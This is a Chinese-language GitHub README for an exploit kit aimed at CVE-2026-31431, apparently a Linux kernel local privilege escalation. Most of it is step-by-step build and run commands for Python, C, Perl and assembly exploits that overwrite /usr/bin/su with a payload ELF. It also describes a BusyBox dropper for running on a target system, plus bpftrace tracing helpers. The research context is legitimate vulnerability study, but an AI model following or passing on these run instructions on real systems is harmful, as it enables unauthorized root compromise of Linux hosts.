4xura/CVE-2026-31431-Copy-Fail

GitHub: 4xura/CVE-2026-31431-Copy-Fail

这是一个针对CVE-2026-31431 Linux本地提权漏洞的利用工具包和研究资源。

Stars: 6 | Forks: 0

# CVE-2026-31431:当复制不是复制且失败来得太晚 用于CopyFail技术报告的工件与脚本。 深度解析文章: - https://4xura.com/binex/kernel/copy-fail/ ## 目录结构 - [`proof-of-concept/`](./proof-of-concept/) 包含技术报告中使用的基础概念验证演示。 - [`exploit-scripts/`](./exploit-scripts/) 包含使用Python、C、Perl和x86_64汇编实现的完整漏洞利用程序。 - [`bpftrace-scripts/`](./bpftrace-scripts/) 包含运行时分析期间使用的小型跟踪辅助工具。 ## 前置条件 仅Perl、汇编和BusyBox工件需要外部替换ELF文件。在以下示例中,该文件命名为 `payload.pwnkit.elf`,但使用任何文件名均可。 该载荷不在本仓库内生成。请首先遵循技术报告中的载荷工作流程进行构建,然后将生成的ELF文件放置在与您要运行的工件相同的工作目录中。 基础概念验证程序和Python/C漏洞利用驱动程序可直接运行。 ## 1. 基础概念验证程序 这些概念验证主要用于技术报告中的演示。它们单独展示了覆写原语,而非完整的替换执行工作流程。 要运行Python演示,请进入PoC目录并执行脚本: ``` cd proof-of-concept python3 copyfail_poc.py ``` 要运行C演示,请先构建然后执行生成的二进制文件: ``` cd proof-of-concept gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c ./copyfail_poc ``` ## 2. Python漏洞利用程序 Python漏洞利用程序是自包含的,替换字节直接存储在脚本中。 切换到漏洞利用目录并运行默认目标路径: ``` cd exploit-scripts python3 exploit.py ``` 如果需要不同的目标基名,可将其作为第一个参数传递。要启用分块覆写日志,请设置 `DEBUG=1`: ``` python3 exploit.py su DEBUG=1 python3 exploit.py su ``` ## 3. C漏洞利用程序 C漏洞利用程序同样是自包含的。如果需要替换为其他载荷,请首先编辑 [`exploit-scripts/exploit.c`](./exploit-scripts/exploit.c) 中的 `PAYLOAD_BYTES`。 按如下方式构建静态(可选)二进制文件: ``` cd exploit-scripts gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz ``` 然后运行默认目标,或传递不同的基名。调试日志通过 `DEBUG=1` 控制: ``` ./exploit ./exploit su DEBUG=1 ./exploit su ``` ## 4. Perl漏洞利用程序 此版本读取外部ELF载荷,而非在脚本中嵌入替换字节。 从漏洞利用目录运行。无额外参数时,使用默认目标路径和默认载荷路径: ``` cd exploit-scripts perl exploit.pl ``` 如果要同时明确指定受害者路径和载荷ELF,请将它们作为参数传递。调试日志也通过 `DEBUG=1` 控制: ``` perl exploit.pl /usr/bin/su ./payload.pwnkit.elf DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf ``` ## 5. 汇编漏洞利用程序 此版本同样使用外部ELF载荷。在以下示例中,它命名为 `payload.pwnkit.elf`,但您可以使用任何文件名。如果重命名,请更新 [`exploit-scripts/exploit.asm`](./exploit-scripts/exploit.asm) 中的 `incbin` 行以匹配。 使用 `nasm` 和 `ld` 构建汇编驱动程序: ``` cd exploit-scripts nasm -f elf64 exploit.asm -o exploit.o ld -o exploit_asm exploit.o ``` 然后运行默认目标,或传递完整目标路径: ``` ./exploit_asm ./exploit_asm /usr/bin/su ``` ## 6. BusyBox投放器 此工具将汇编驱动程序和外部载荷ELF打包成一个BusyBox兼容的运行器。以下示例使用 `payload.pwnkit.elf`,但只要将相同路径传递给打包器,任何载荷文件名均可。 从漏洞利用目录生成投放器: ``` cd exploit-scripts sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh chmod +x copyfail-busybox.sh ``` 在目标系统上,使用BusyBox `sh` 运行生成的脚本: ``` busybox sh ./copyfail-busybox.sh /usr/bin/su ``` ## 7. Bpftrace辅助工具 在运行跟踪辅助工具之前,请检查相关符号是否可用: ``` sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy' ``` 要观察文件页面进入splice路径,请运行: ``` sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt ``` 要观察管道支持的数据到达 `AF_ALG`,请运行: ``` sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt ``` 要观察易受攻击的 `authencesn` 解密回调,请运行: ``` sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt ```
标签:0day挖掘, bpftrace, CopyFail, CVE-2026-31431, C 语言, ELF 文件, Linux 内核, Perl, PoC 脚本, Python, Web报告查看器, x86_64 汇编, 二进制安全, 内核安全, 客户端加密, 情报收集, 无后门, 本地权限提升, 权限提升攻击, 概念验证, 漏洞研究, 网络安全, 脚本利用, 跟踪工具, 运行时分析, 逆向工具, 隐私保护